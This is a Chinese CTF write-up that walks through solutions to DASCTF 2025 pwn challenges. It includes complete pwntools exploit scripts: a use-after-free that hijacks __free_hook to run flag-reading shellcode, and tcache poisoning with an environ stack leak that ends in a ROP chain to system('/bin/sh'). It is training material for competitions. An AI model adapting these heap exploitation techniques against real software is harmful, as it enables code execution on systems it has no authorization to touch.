DASCTF 2025 下半年赛-PWN方向赛后复现
rcms
解题思路
这道题增删查改四大功能都有,存在UAF 和 后门函数gift(),虽然题目没给libc,但我试出来远端靶机是ubuntu18的环境,用libc6_2.27-3ubuntu1.6_amd64可以打通。
利用UAF打free_hook劫持到gift(),输入shellcode就行,注意程序开启了沙箱。
1 2 3 4 5 6 7 8 9 10 11
| icyice@icyice-virtual-machine:~/Desktop/刷的上一道题/DAS/rcm $ seccomp-tools dump ./pwn line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
|
浅浅说一下我试出远程靶机是ubuntu18的过程(因为其实做堆题没libc真挺难受的):在IDA里可以看到附加中出现了__libc_csu_init(),而__libc_csu_init() 和 __libc_csu_fini() 这两个函数(及其所在的 elf-init.c 文件)构成了一个被称为 “CSU gadget” 的代码序列,从glibc 2.34此版本开始,动态链接的程序默认不再需要__libc_csu_init/fini,所以猜测出题人的环境应该是在ubuntu20或18、16,我先试了一下ubuntu16再试了ubuntu18就幸运地找到可以打远端的 libc。
我自己能意识到这一点还是因为前不久出自己学校招新赛的pwn题时才发现的。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| from pwn import * context(os="linux", arch="amd64", log_level="debug")
io = remote("node5.buuoj.cn", 29257) libc = ELF("./lib/x86_64-linux-gnu/libc.so.6") s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(hex(data)) p = lambda :pause() def debug(): gdb.attach(io) pause()
def add(idx, size, content=b"a"): sla(b"5.exit", b"1") sla(b":", str(idx)) sla(b":", str(size)) sa(b":", content) def free(idx): sla(b"5.exit", b"2") sla(b":", str(idx)) def edit(idx, content): sla(b"5.exit", b"3") sla(b":", str(idx)) sa(b":", content) def show(idx): sla(b"5.exit", b"4") sla(b":\n", str(idx))
add(0, 0x60) add(1, 0x60) free(0) free(1) show(1) heap_gift = u64(r(6).ljust(8, b"\x00")) - 0x12a0 + 0x260 ls(heap_gift) add(2, 0x420) add(3, 0x10) free(2) show(2) libc_base = u64(r(6).ljust(8, b"\x00")) - 0x3ebca0 ls(libc_base) free_hook = libc_base + libc.sym['__free_hook'] edit(1, p64(heap_gift)) add(4, 0x60, p8(0xD8)) add(5, 0x60, p8(0xD8)) show(5) gift = u64(r(6).ljust(8, b"\x00")) ls(gift)
add(6, 0x50) add(7, 0x50) free(6) free(7) edit(7, p64(free_hook)) add(8, 0x50) add(9, 0x50) edit(9, p64(gift)) free(8) shellcode = asm(shellcraft.cat("./flag")) sa(b"me?", shellcode) ia()
|
CV_Manager
解题思路
(Ubuntu GLIBC 2.35-0ubuntu3.8),增删查改四大功能齐全,存在一次性的UAF,程序进入先有一个登录,username:r00t;passwrd:p9s3w0r6(密码”s3BPcTsMszo=”是一个换表的base64编码)。
利用好唯一的一次UAF,泄露libc_base和heap_base,通过environ泄露出栈地址,根据相对偏移计算出edit()函数中 read()的return_addr来拿shell(这一技巧还是看zer00ne师傅的脚本学到的,比赛时却苦于Canary绕不过,尝试攻击environ拿到stack地址后没办法劫持程序的控制流)。
讲一下脚本里的这一行:
1
| stack = u64(r(8)) - 0x160 - 0x28
|
-0x28 有两个原因,一是为了满足chunk 的地址要求 16 字节对齐(x86-64),二是如果减 0x8,那么chunk分配出来则会使rip = 0,减0x18则会使rbp = 0 ,后面会报错。
EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| from pwn import * context(os="linux", arch="amd64", log_level="debug") io = process("./pwn")
libc = ELF("./libc.so.6") s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=False :io.recvuntil(delims, drop) ia = lambda :io.interactive() ls = lambda data :log.success(hex(data)) p = lambda :pause() def debug(): gdb.attach(io) pause()
def login(): sla(b"username:", b"r00t") sla(b"password:", b"p9s3w0r6") def add(size, name='CCTTFFEERR!!'): sla(b"choice:", b"1") sla(b"length:", str(size)) sa(b"name:", str(name)) def edit(idx,content): sla(b"choice:", b"2") sla(b"modify:", str(idx)) sa(b"yourself:", content) def free(idx): sla(b"choice:", b"3") sla(b"remove:", str(idx)) def show(idx): sla(b"choice:", b"4") sla(b"view:", str(idx)) ru(b"introduction:") def door(idx): sla(b"choice:", b"666") sla(b"index:\n", str(idx))
login()
for _ in range(7): add(0x100)
add(0x100) add(0x100) add(0x100) add(0x100)
for i in range(7): free(i)
door(7) show(7) libc_base = u64(r(8)) - 0x21ace0 ls(libc_base) free(9) show(7) r(8) heap_base = u64(r(8)) - 0xc20 ls(heap_base) environ = libc_base + libc.sym['_environ'] fd = (heap_base >> 12) ^ environ
for _ in range(9): add(0x100)
free(9) free(11) edit(7, p64(fd)) add(0x100) add(0x100) show(11) stack = u64(r(8)) - 0x160 - 0x28 ls(stack) fd = (heap_base >> 12) ^ stack free(0) free(9)
edit(7, p64(fd)) add(0x100)
add(0x100)
bin_sh = libc_base + next(libc.search("/bin/sh")) pop_rdi = libc_base + 0x2a3e5 system = libc_base + libc.sym['system'] payload = b'a'*(0x28)+ p64(pop_rdi+1) + p64(pop_rdi) + p64(bin_sh) + p64(system) edit(9, payload) ia()
|
mvmp
vm_pwn现在没学,WP看不明白,复现不了,后面补上
[DASCTF 2025下半年赛 WriteUp by 0psu3 | 0psu3-Team](https://0psu3.team/2025/12/07/DASCTF 2025下半年赛-WriteUp by 0psu3/#mvmp)(可以膜拜一下)
末言
回顾比赛,一如既往的坐牢,比赛开始时,拿到rcms题的附件里没libc文件,以为是不需要libc文件也能做,结果搞几个小时都没办法;CV_Manager是glibc-2.34,想的打environ或IO,但是因为技术不行,打environ绕不过Canary,打IO卡住,做不出来;mvmp是没学过的vm_pwn,最后是没办法了才去试第一题的glibc,还是菜就多练啊。
最后在自己的corner里放一张结果:
